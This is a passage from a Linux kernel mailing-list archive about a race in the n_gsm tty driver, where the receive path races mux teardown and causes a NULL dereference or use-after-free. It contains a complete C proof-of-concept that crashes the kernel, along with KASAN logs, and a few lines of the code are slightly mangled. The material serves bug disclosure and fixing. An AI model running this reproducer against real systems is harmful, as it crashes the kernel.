x86_64 randconfig-015-20260612 clang-22
x86_64 randconfig-015-20260613 clang-22
x86_64 randconfig-016 clang-22
x86_64 randconfig-016-20260612 clang-22
x86_64 randconfig-016-20260613 clang-22
x86_64 randconfig-071-20260612 gcc-14
x86_64 randconfig-071-20260613 clang-22
x86_64 randconfig-072-20260612 gcc-14
x86_64 randconfig-072-20260613 clang-22
x86_64 randconfig-073-20260612 gcc-14
x86_64 randconfig-073-20260613 clang-22
x86_64 randconfig-074-20260612 gcc-14
x86_64 randconfig-074-20260613 clang-22
x86_64 randconfig-075-20260612 gcc-14
x86_64 randconfig-075-20260613 clang-22
x86_64 randconfig-076-20260612 gcc-14
x86_64 randconfig-076-20260613 clang-22
x86_64 rhel-9.4 clang-22
x86_64 rhel-9.4-bpf gcc-14
x86_64 rhel-9.4-func clang-22
x86_64 rhel-9.4-kselftests clang-22
x86_64 rhel-9.4-kunit gcc-14
x86_64 rhel-9.4-ltp gcc-14
x86_64 rhel-9.4-rust clang-22
xtensa allnoconfig clang-23
xtensa allnoconfig gcc-16.1.0
xtensa allyesconfig clang-20
xtensa randconfig-001-20260612 gcc-8.5.0
xtensa randconfig-001-20260613 gcc-13.4.0
xtensa randconfig-002-20260612 gcc-8.5.0
xtensa randconfig-002-20260613 gcc-13.4.0
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply
* Re: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Greg Kroah-Hartman @ 2026-06-12 14:28 UTC (permalink / raw)
To: Weiming Shi
Cc: Jiri Slaby, Daniel Starke, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <DJ74X3U3L9DZ.3RMWZCB0O5ZCE@gmail.com>
On Fri, Jun 12, 2026 at 10:19:18PM +0800, Weiming Shi wrote:
> On Fri Jun 12, 2026 at 2:50 AM CST, Greg Kroah-Hartman wrote:
> > On Thu, Jun 11, 2026 at 11:32:18AM -0700, Weiming Shi wrote:
> >> gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and
> >> immediately dereference dlci->ftype without checking it for NULL.
> >>
> >> On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL
> >> and DLCI_OPEN before invoking the control handler, but the value is not
> >> held across that check: the receive worker runs from flush_to_ldisc()
> >> without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can
> >> enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0]
> >> and sets it to NULL. If the mux is torn down between gsm_queue()'s check
> >> and the re-load inside gsm_control_command()/gsm_control_reply(), the
> >> handler dereferences a NULL dlci.
> >>
> >> A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux
> >> owner reconfigures the line discipline can therefore crash the kernel
> >> (line numbers from decode_stacktrace.sh against the crashing build):
> >>
> >> Oops: general protection fault, probably for non-canonical address
> >> KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
> >> RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
> >> Call Trace:
> >> gsm_dlci_command (drivers/tty/n_gsm.c:2482)
> >> gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
> >> gsm0_receive (drivers/tty/n_gsm.c:2972)
> >> gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
> >> tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
> >> tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
> >> flush_to_ldisc (drivers/tty/tty_buffer.c:495)
> >> process_one_work
> >> worker_thread
> >> kthread
> >>
> >> The other callers of these helpers (the keep-alive and negotiation timer
> >> paths) already guard the gsm->dlci[0] access; only the receive path is
> >> unguarded. The CMD_CLD handler in the same switch already checks the
> >> loaded dlci for NULL for the very same reason. Bail out early when
> >> gsm->dlci[0] has been cleared instead of dereferencing it.
> >>
> >> Triggering this requires CAP_NET_ADMIN to attach the n_gsm line
> >> discipline (gsmld_open() uses capable(), not ns_capable()), so it is a
> >> local denial of service for a privileged mux owner racing its own
> >> control channel; harden the handlers regardless.
> >>
> >> Fixes: 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
> >> Reported-by: Xiang Mei <xmei5@asu.edu>
> >> Assisted-by: Claude:claude-opus-4-8
> >> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> >> ---
> >> drivers/tty/n_gsm.c | 6 ++++++
> >> 1 file changed, 6 insertions(+)
> >>
> >> diff --git a/drivers/tty/n_gsm.c b/drivers/tty/n_gsm.c
> >> index 214abeb89aaa..860cfb91d510 100644
> >> --- a/drivers/tty/n_gsm.c
> >> +++ b/drivers/tty/n_gsm.c
> >> @@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
> >> struct gsm_msg *msg;
> >> struct gsm_dlci *dlci = gsm->dlci[0];
> >>
> >> + if (!dlci)
> >> + return -EINVAL;
> >
> > What precents dlci from being NULL right after you check this?
> >
> > thanks,
> >
> > greg k-h
>
> Hi greg,
>
> I'm sorry for taking so long to respond.
>
> After a closer look I think your review is correct.
>
> The real problem is that the receive path touches gsm->dlci[] with no
> lock. The teardown side holds gsm->mutex while it releases and frees the
> dlci, but the receive worker does not: gsm_queue() loads
> dlci = gsm->dlci[address] while it is still valid and passes it down
> through dlci->data() to gsm_control_command()/gsm_control_reply(), which
> also re-read gsm->dlci[0] and dereference dlci->ftype.
>
> Meanwhile GSMIOC_SETCONF -> gsm_cleanup_mux() takes gsm->mutex, closes
> DLCI0 and drops its reference via gsm_dlci_release(); the final
> tty_port_put() runs the gsm_dlci_free() destructor, which clears the slot
> and frees the object:
>
> ```
> dlci->gsm->dlci[dlci->addr] = NULL;
> kfree(dlci);
> ```
> If that happens while the worker is still in the dispatch above, it ends
> up dereferencing the freed dlci. I can reproduce this as a use-after-free:
>
> ```
> [ 997.227486][ T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
> [ 997.229052][ T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
> [ 997.230517][ T46]
> [ 997.230952][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
> [ 997.230958][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
> [ 997.230961][ T46] Workqueue: events_unbound flush_to_ldisc
> [ 997.230969][ T46] Call Trace:
> [ 997.230972][ T46] <TASK>
> [ 997.230974][ T46] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
> [ 997.230990][ T46] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
> [ 997.231008][ T46] kasan_report (mm/kasan/report.c:595)
> [ 997.231016][ T46] gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
> [ 997.231020][ T46] gsm_dlci_command (drivers/tty/n_gsm.c:1873 drivers/tty/n_gsm.c:2477)
> [ 997.231036][ T46] gsmld_receive_buf (drivers/tty/n_gsm.c:3616)
> [ 997.231044][ T46] tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:398)
> [ 997.231052][ T46] tty_port_default_receive_buf (drivers/tty/tty_port.c:37)
> [ 997.231056][ T46] flush_to_ldisc (drivers/tty/tty_buffer.c:452 drivers/tty/tty_buffer.c:502)
> [ 997.231066][ T46] process_one_work (kernel/workqueue.c:3314)
> [ 997.231082][ T46] worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478)
> [ 997.231091][ T46] kthread (kernel/kthread.c:436)
> [ 997.231103][ T46] ret_from_fork (arch/x86/kernel/process.c:158)
> [ 997.231120][ T46] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
> [ 997.231128][ T46] </TASK>
> [ 997.231130][ T46]
> [ 997.267905][ T46] Allocated by task 5110:
> [ 997.268716][ T46] kasan_save_stack (mm/kasan/common.c:57)
> [ 997.269595][ T46] kasan_save_track (mm/kasan/common.c:78)
> [ 997.270483][ T46] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
> [ 997.271353][ T46] gsm_dlci_alloc (./include/linux/slab.h:950 ./include/linux/slab.h:1188 drivers/tty/n_gsm.c:2648)
> [ 997.272203][ T46] gsm_activate_mux (drivers/tty/n_gsm.c:3189)
> [ 997.273109][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3443 drivers/tty/n_gsm.c:3846)
> [ 997.273981][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
> [ 997.274789][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
> [ 997.275682][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
> [ 997.276544][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
> [ 997.277658][ T46]
> [ 997.278108][ T46] Freed by task 5110:
> [ 997.278865][ T46] kasan_save_stack (mm/kasan/common.c:57)
> [ 997.279740][ T46] kasan_save_track (mm/kasan/common.c:78)
> [ 997.280615][ T46] kasan_save_free_info (mm/kasan/generic.c:584)
> [ 997.281554][ T46] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
> [ 997.282435][ T46] kfree (./include/linux/kasan.h:235 mm/slub.c:2689 mm/slub.c:6251 mm/slub.c:6566)
> [ 997.283159][ T46] gsm_cleanup_mux (drivers/tty/n_gsm.c:2711 drivers/tty/n_gsm.c:2744 drivers/tty/n_gsm.c:3161)
> [ 997.284050][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3415 drivers/tty/n_gsm.c:3846)
> [ 997.284928][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
> [ 997.285746][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
> [ 997.286653][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
> [ 997.287526][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
> [ 997.288639][ T46]
>
> ```
>
> The NULL deref I reported is the same unguarded access on the same
> path, just hitting the window after the slot is already cleared. Either
> way a NULL check in the handlers can't fix it, since in the UAF case dlci
> isn't NULL.
>
> I think the fix should serialize the receive side against
> gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:
>
> 1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
> 2. pin the dlci across the dispatch using its existing tty_port ref
> (dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.
>
> Do you have a preference, or is there a pattern in n_gsm you'd rather I
> use? I'll respin v2 once I know which way to go.
The bigger issue here is that almost no one has this hardware. And
those that do, don't care about these types of issues as they do not
have untrusted data or untrusted users, so be careful when changing
things that you aren't able to test.
I think that option 2 would probably be best, as that should not affect
any fast code paths, right?
> And I'll send the reproducer and the config to trigger it in a separate mail.
Can you turn that into a real test to be added to the tree in the
correct location? I think we need to start adding these so that we get
a base regression test for people to be able to run as all the LLM tools
seem to love the broken code in this file :)
thanks,
greg k-h
^ permalink raw reply
* Re: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Weiming Shi @ 2026-06-12 14:22 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby
Cc: Daniel Starke, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <20260611183217.2488508-2-bestswngs@gmail.com>
here is the reproducer and the kernel config
Setup:
required configs:
```
CONFIG_N_GSM=y
CONFIG_SMP=y
CONFIG_PREEMPT=y
CONFIG_KASAN=y
```
Reproducer:
build: gcc poc.c -o poc -lpthread -static
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <linux/tty.h>
#include <linux/gsmmux.h>
#ifndef N_GSM0710
#define N_GSM0710 21
#endif
#define GSM0_SOF 0xF9
#define ADDR_DLCI0 0x03
#define PF 0x10
#define CTRL_SABM (0x2F | PF)
#define CTRL_UIH 0xEF
#define INIT_FCS 0xFF
#define CMD_TEST_EA 0x23
static const unsigned char gsm_fcs8[256] = {
0x00,0x91,0xE3,0x72,0x07,0x96,0xE4,0x75,0x0E,0x9F,0xED,0x7C,0x09,0x98,0xEA,0x7B,
0x1C,0x8D,0xFF,0x6E,0x1B,0x8A,0xF8,0x69,0x12,0x83,0xF1,0x60,0x15,0x84,0xF6,0x67,
0x38,0xA9,0xDB,0x4A,0x3F,0xAE,0xDC,0x4D,0x36,0xA7,0xD5,0x44,0x31,0xA0,0xD2,0x43,
0x24,0xB5,0xC7,0x56,0x23,0xB2,0xC0,0x51,0x2A,0xBB,0xC9,0x58,0x2D,0xBC,0xCE,0x5F,
0x70,0xE1,0x93,0x02,0x77,0xE6,0x94,0x05,0x7E,0xEF,0x9D,0x0C,0x79,0xE8,0x9A,0x0B,
0x6C,0xFD,0x8F,0x1E,0x6B,0xFA,0x88,0x19,0x62,0xF3,0x81,0x10,0x65,0xF4,0x86,0x17,
0x48,0xD9,0xAB,0x3A,0x4F,0xDE,0xAC,0x3D,0x46,0xD7,0xA5,0x34,0x41,0xD0,0xA2,0x33,
0x54,0xC5,0xB7,0x26,0x53,0xC2,0xB0,0x21,0x5A,0xCB,0xB9,0x28,0x5D,0xCC,0xBE,0x2F,
0xE0,0x71,0x03,0x92,0xE7,0x76,0x04,0x95,0xEE,0x7F,0x0D,0x9C,0xE9,0x78,0x0A,0x9B,
0xFC,0x6D,0x1F,0x8E,0xFB,0x6A,0x18,0x89,0xF2,0x63,0x11,0x80,0xF5,0x64,0x16,0x87,
0xD8,0x49,0x3B,0xAA,0xDF,0x4E,0x3C,0xAD,0xD6,0x47,0x35,0xA4,0xD1,0x40,0x32,0xA3,
0xC4,0x55,0x27,0xB6,0xC3,0x52,0x20,0xB1,0xCA,0x5B,0x29,0xB8,0xCD,0x5C,0x2E,0xBF,
0x90,0x01,0x73,0xE2,0x97,0x06,0x74,0xE5,0x9E,0x0F,0x7D,0xEC,0x99,0x08,0x7A,0xEB,
0x8C,0x1D,0x6F,0xFE,0x8B,0x1A,0x68,0xF9,0x82,0x13,0x61,0xF0,0x85,0x14,0x66,0xF7,
0xA8,0x39,0x4B,0xDA,0xAF,0x3E,0x4C,0xDD,0xA6,0x37,0x45,0xD4,0xA1,0x30,0x42,0xD3,
0xB4,0x25,0x57,0xC6,0xB3,0x22,0x50,0xC1,0xBA,0x2B,0x59,0xC8,0xBD,0x2C,0x5E,0xCF
};
static unsigned char fcs_header(const unsigned char *p, int n){
unsigned char fcs = INIT_FCS;
for (int i=0;i<n;i++) fcs = gsm_fcs8[fcs ^ p[i]];
return 0xFF - fcs;
}
static int build_frame(unsigned char *out, unsigned char addr, unsigned char ctrl,
const unsigned char *data, int dlen){
unsigned char hdr[3]={addr,ctrl,(unsigned char)((dlen<<1)|1)};
int i=0; out[i++]=GSM0_SOF; out[i++]=addr; out[i++]=ctrl;
out[i++]=(unsigned char)((dlen<<1)|1);
for(int j=0;j<dlen;j++) out[i++]=data[j];
out[i++]=fcs_header(hdr,3); out[i++]=GSM0_SOF; return i;
}
static int gsm_fd, wire_fd;
static volatile int stop;
static int ncpu;
static unsigned char sabm_frame[16]; static int sabm_len;
static unsigned char test_frame[64]; static int test_len;
#define BATCH 64
static unsigned char batch_buf[BATCH*64]; static int batch_len;
static unsigned char reopen_buf[16 + 16*64]; static int reopen_len;
static void pin_cpu(int cpu){ cpu_set_t s; CPU_ZERO(&s); CPU_SET(cpu,&s); sched_setaffinity(0,sizeof(s),&s);}
static void nop_handler(int s){(void)s;}
static void *drain_thread(void *a){(void)a; unsigned char b[4096];
while(!stop){ ssize_t n=read(wire_fd,b,sizeof(b)); if(n<=0) sched_yield(); } return NULL;}
static void *exprace_thread(void *a){(void)a; pin_cpu(1);
setpriority(PRIO_PROCESS,0,-20); signal(SIGALRM,nop_handler);
struct itimerval t={{0,25},{0,25}}; setitimer(ITIMER_REAL,&t,NULL);
while(!stop) pause(); return NULL;}
static void *hog_thread(void *a){ long id=(long)a; int cpus[3]={0,2,3}; pin_cpu(cpus[id%3] < ncpu ? cpus[id%3] : 0);
volatile unsigned long x=0; while(!stop){ for(int i=0;i<100000;i++) x+=i; (void)x; } return NULL;}
static void setconf(int fd,int mtu){
struct gsm_config c; memset(&c,0,sizeof(c));
c.adaption=1; c.encapsulation=0; c.initiator=0;
c.mru=64; c.mtu=mtu; c.i=1; c.k=2; c.t1=1; c.t2=1; c.n2=1;
ioctl(fd,GSMIOC_SETCONF,&c);
}
static volatile unsigned long teardowns;
static int mtu_toggle;
static v
oid *teardown_thread(void *a){(void)a; pin_cpu(1);
while(!stop){
setconf(gsm_fd,(mtu_toggle++&1)?64:127);
if(write(wire_fd,reopen_buf,reopen_len)<0){}
teardowns++;
}
G return NULL;
}
int main(void){
int ldisc=N_GSM0710; pthread_t tt,ir,dr; char sname[128]; struct termios tio;
setvbuf(stdout,NULL,_IONBF,0);
ncpu = sysconf(_SC_NPROCESSORS_ONLN); if(ncpu<2) ncpu=2;
pin_cpu(0);
mkdir("/dev/pts",0755); mount("devpts","/dev/pts","devpts",0,"");
mount("devpts","/dev/pts","devpts",MS_REMOUNT,"");
wire_fd=open("/dev/ptmx",O_RDWR|O_NOCTTY); if(wire_fd<0){perror("ptmx");return 1;}
grantpt(wire_fd); unlockpt(wire_fd);
if(ptsname_r(wire_fd,sname,sizeof(sname))){perror("ptsname");return 1;}
gsm_fd=open(sname,O_RDWR|O_NOCTTY); if(gsm_fd<0){perror("open slave");return 1;}
if(tcgetattr(wire_fd,&tio)==0){cfmakeraw(&tio); tcsetattr(wire_fd,TCSANOW,&tio);}
if(ioctl(gsm_fd,TIOCSETD,&ldisc)<0){perror("TIOCSETD");return 1;}
printf("[+] n_gsm ldisc installed; ncpu=%d\n",ncpu);
setconf(gsm_fd,64);
printf("[+] mux configured (responder)\n");
sabm_len=build_frame(sabm_frame,ADDR_DLCI0,CTRL_SABM,NULL,0);
unsigned char tp[16]; tp[0]=CMD_TEST_EA; tp[1]=(8<<1)|1;
for(int i=0;i<8;i++) tp[2+i]=0x41+i;
test_len=build_frame(test_frame,ADDR_DLCI0,CTRL_UIH,tp,2+8);
batch_len=0; for(int i=0;i<BATCH;i++){memcpy(batch_buf+batch_len,test_frame,test_len); batch_len+=test_len;}
reopen_len=0; memcpy(reopen_buf,sabm_frame,sabm_len); reopen_len+=sabm_len;
for(int i=0;i<16;i++){memcpy(reopen_buf+reopen_len,test_frame,test_len); reopen_len+=test_len;}
if(write(wire_fd,sabm_frame,sabm_len)<0){}
pthread_create(&dr,NULL,drain_thread,NULL);
pthread_create(&ir,NULL,exprace_thread,NULL);
pthread_create(&tt,NULL,teardown_thread,NULL);
int nh = (ncpu>=4)?3:1; pthread_t *hogs = calloc(nh,sizeof(pthread_t));
for(long i=0;i<nh;i++) pthread_create(&hogs[i],NULL,hog_thread,(void*)i);
unsigned long w=0;
while(!stop && w<5000000000UL){
if(write(wire_fd,batch_buf,batch_len)<0){}
if((++w%200000)==0) printf("[r] flood=%lu teardowns=%lu\n",w,teardowns);
}
stop=1;
pthread_join(tt,NULL); pthread_join(ir,NULL); pthread_join(dr,NULL);
for(long i=0;i<nh;i++) pthread_join(hogs[i],NULL);
printf("[-] poc finished (flood=%lu teardowns=%lu)\n",w,teardowns);
return 0;
}
```
After a long process of competition, will see such KASAN logs.
```
root@repro:~# /tmp/exp/exploit
[+] n_gsm ldisc installed; ncpu=4
[+] mux configured (responder)
[r] flood=200000 teardowns=346
[ 92.074763][ T1263] cfg80211: failed to load regulatory.db
[r] flood=400000 teardowns=702
[r] flood=600000 teardowns=1100
[r] flood=800000 teardowns=1470
[r] flood=1000000 teardowns=1855
[r] flood=1200000 teardowns=2236
[r] flood=1400000 teardowns=2625
[r] flood=1600000 teardowns=3017
[r] flood=1800000 teardowns=3404
[r] flood=2000000 teardowns=3798
[r] flood=2200000 teardowns=4183
[r] flood=2400000 teardowns=4559
[r] flood=2600000 teardowns=4937
[r] flood=2800000 teardowns=5306
[r] flood=3000000 teardowns=5691
[r] flood=3200000 teardowns=6044
[r] flood=3400000 teardowns=6394
[r] flood=3600000 teardowns=6757
[r] flood=3800000 teardowns=7100
[r] flood=4000000 teardowns=7460
[r] flood=4200000 teardowns=7823
[r] flood=4400000 teardowns=8187
[r] flood=4600000 teardowns=8561
[r] flood=4800000 teardowns=8921
[r] flood=5000000 teardowns=9283
[r] flood=5200000 teardowns=9689
[r] flood=5400000 teardowns=10069
[r] flood=5600000 teardowns=10433
[ 997.225852][ T46] ==================================================================
[ 997.227486][ T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.229052][ T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
[ 997.230517][ T46]
[ 997.230952][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[ 997.230958][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[ 997.230961][ T46] Workqueue: events_unbound flush_to_ldisc
[ 997.230969][ T46] Call Trace:
[ 997.230972][ T46] <TASK>
[ 997.230974][ T46] dump_stack_lvl+0x78/0xe0
[ 997.230990][ T46] print_report+0xf7/0x600
[ 997.230996][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.230999][ T46] ? __virt_addr_valid+0x22c/0x420
[ 997.231005][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.231008][ T46] kasan_report+0xe4/0x120
[ 997.231012][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.231016][ T46] gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.231020][ T46] gsm_dlci_command+0x8ab/0x16f0
[ 997.231024][ T46] ? __pfx_gsm_dlci_command+0x10/0x10
[ 997.231028][ T46] ? tty_buffer_free+0x100/0x200
[ 997.231032][ T46] ? gsm_queue+0x1f4/0x750
[ 997.231036][ T46] gsmld_receive_buf+0x170/0x270
[ 997.231040][ T46] ? tty_buffer_free+0x1ae/0x200
[ 997.231044][ T46] tty_ldisc_receive_buf+0xfd/0x1d0
[ 997.231048][ T46] ? tty_ldisc_ref+0x19/0x70
[ 997.231052][ T46] tty_port_default_receive_buf+0x5e/0x90
[ 997.231056][ T46] flush_to_ldisc+0x1dc/0x7a0
[ 997.231061][ T46] ? rcu_is_watching+0x12/0xc0
[ 997.231066][ T46] process_one_work+0x8fb/0x1c20
[ 997.231073][ T46] ? __pfx_process_one_work+0x10/0x10
[ 997.231078][ T46] ? __pfx_flush_to_ldisc+0x10/0x10
[ 997.231082][ T46] worker_thread+0x528/0xeb0
[ 997.231088][ T46] ? __pfx_worker_thread+0x10/0x10
[ 997.231091][ T46] kthread+0x30d/0x400
[ 997.231096][ T46] ? _raw_spin_unlock_irq+0x23/0x50
[ 997.231100][ T46] ? __pfx_kthread+0x10/0x10
[ 997.231103][ T46] ret_from_fork+0x5fb/0xa10
[ 997.231108][ T46] ? __pfx_ret_from_fork+0x10/0x10
[ 997.231112][ T46] ? __switch_to+0x57f/0xe20
[ 997.231117][ T46] ? __pfx_kthread+0x10/0x10
[ 997.231120][ T46] ret_from_fork_asm+0x1a/0x30
[ 997.231128][ T46] </TASK>
[ 997.231130][ T46]
[ 997.267905][ T46] Allocated by task 5110:
[ 997.268716][ T46] kasan_save_stack+0x33/0x60
[ 997.269595][ T46] kasan_save_track+0x14/0x30
[ 997.270483][ T46] __kasan_kmalloc+0xaa/0xb0
[ 997.271353][ T46] gsm_dlci_alloc+0x45/0x780
[ 997.272203][ T46] gsm_activate_mux+0x12/0x220
[ 997.273109][ T46] gsmld_ioctl+0x92f/0x13d0
[ 997.273981][ T46] tty_ioctl+0x8f4/0x1250
[ 997.274789][ T46] __x64_sys_ioctl+0x134/0x1c0
[ 997.275682][ T46] do_syscall_64+0x116/0x7d0
[ 997.276544][ T46] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 997.277658][ T46]
[ 997.278108][ T46] Freed by task 5110:
[ 997.278865][ T46] kasan_save_stack+0x33/0x60
[ 997.279740][ T46] kasan_save_track+0x14/0x30
[ 997.280615][ T46] kasan_save_free_info+0x3b/0x60
[ 997.281554][ T46] __kasan_slab_free+0x5f/0x80
[ 997.282435][ T46] kfree+0x2e3/0x6c0
[ 997.283159][ T46] gsm_cleanup_mux+0x2b9/0x7a0
[ 997.284050][ T46] gsmld_ioctl+0x642/0x13d0
[ 997.284928][ T46] tty_ioctl+0x8f4/0x1250
[ 997.285746][ T46] __x64_sys_ioctl+0x134/0x1c0
[ 997.286653][ T46] do_syscall_64+0x116/0x7d0
[ 997.287526][ T46] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 997.288639][ T46]
[ 997.289071][ T46] The buggy address belongs to the object at ffff888029ae9000
[ 997.289071][ T46] which belongs to the cache kmalloc-2k of size 2048
[ 997.291693][ T46] The buggy address is located 0 bytes inside of
[ 997.291693][ T46] freed 2048-byte region [ffff888029ae9000, ffff888029ae9800)
[ 997.294229][ T46]
[ 997.294696][ T46] The buggy address belongs to the physical page:
[ 997.295885][ T46] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x29ae8
[ 997.297505][ T46] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 997.299083][ T46] flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
[ 997.300489][ T46] page_type: f5(slab)
[ 997.301222][ T46] raw: 00fff00000000040 ffff888019c42f00 dead000000000100 dead000000000122
[ 997.302818][ T46] raw: 0000000000000000 0000000800080008 00000000f5000000 0000000000000000
[ 997.304404][ T46] head: 00fff00000000040 ffff888019c42f00 dead000000000100 dead000000000122
[ 997.305999][ T46] head: 0000000000000000 0000000800080008 00000000f5000000 0000000000000000
[ 997.307589][ T46] head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[ 997.309183][ T46] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[ 997.310741][ T46] page dumped because: kasan: bad access detected
[ 997.311895][ T46] page_owner tracks the page as allocated
[ 997.312927][ T46] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP7
[ 997.316667][ T46] post_alloc_hook+0xfc/0x120
[ 997.317525][ T46] get_page_from_freelist+0x75b/0x3220
[ 997.318514][ T46] __alloc_frozen_pages_noprof+0x27e/0x2b00
[ 997.319584][ T46] new_slab+0xa6/0x670
[ 997.320353][ T46] refill_objects+0x278/0x420
[ 997.321200][ T46] __pcs_replace_empty_main+0x2ed/0x640
[ 997.322198][ T46] __kmalloc_cache_noprof+0x576/0x6e0
[ 997.323176][ T46] tty_register_device_attr+0x1e6/0x790
[ 997.324185][ T46] gsm_activate_mux+0x101/0x220
[ 997.325064][ T46] gsmld_ioctl+0x92f/0x13d0
[ 997.325893][ T46] tty_ioctl+0x8f4/0x1250
[ 997.326674][ T46] __x64_sys_ioctl+0x134/0x1c0
[ 997.327569][ T46] do_syscall_64+0x116/0x7d0
[ 997.328411][ T46] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 997.329511][ T46] page last free pid 36 tgid 36 stack trace:
[ 997.330590][ T46] __free_frozen_pages+0x763/0xfc0
[ 997.331513][ T46] qlist_free_all+0x47/0xf0
[ 997.332341][ T46] kasan_quarantine_reduce+0x195/0x1e0
[ 997.333329][ T46] __kasan_slab_alloc+0x69/0x90
[ 997.334218][ T46] kmem_cache_alloc_lru_noprof+0x23f/0x6d0
[ 997.335299][ T46] __d_alloc+0x30/0x9e0
[ 997.336062][ T46] d_alloc+0x43/0x1d0
[ 997.336802][ T46] lookup_one_qstr_excl+0xf6/0x1d0
[ 997.337736][ T46] filename_create+0x195/0x360
[ 997.338625][ T46] start_creating_path+0x2f/0x50
[ 997.339516][ T46] devtmpfs_work_loop+0xea/0xbe0
[ 997.340430][ T46] devtmpfsd+0x2e/0x30
[ 997.341168][ T46] kthread+0x30d/0x400
[ 997.341938][ T46] ret_from_fork+0x5fb/0xa10
[ 997.342773][ T46] ret_from_fork_asm+0x1a/0x30
[ 997.343641][ T46]
[ 997.344094][ T46] Memory state around the buggy address:
[ 997.345104][ T46] ffff888029ae8f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 997.346571][ T46] ffff888029ae8f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 997.348038][ T46] >ffff888029ae9000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 997.349516][ T46] ^
[ 997.350248][ T46] ffff888029ae9080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 997.351699][ T46] ffff888029ae9100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 997.353151][ T46] ==================================================================
[ 997.360386][ T46] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 997.361687][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
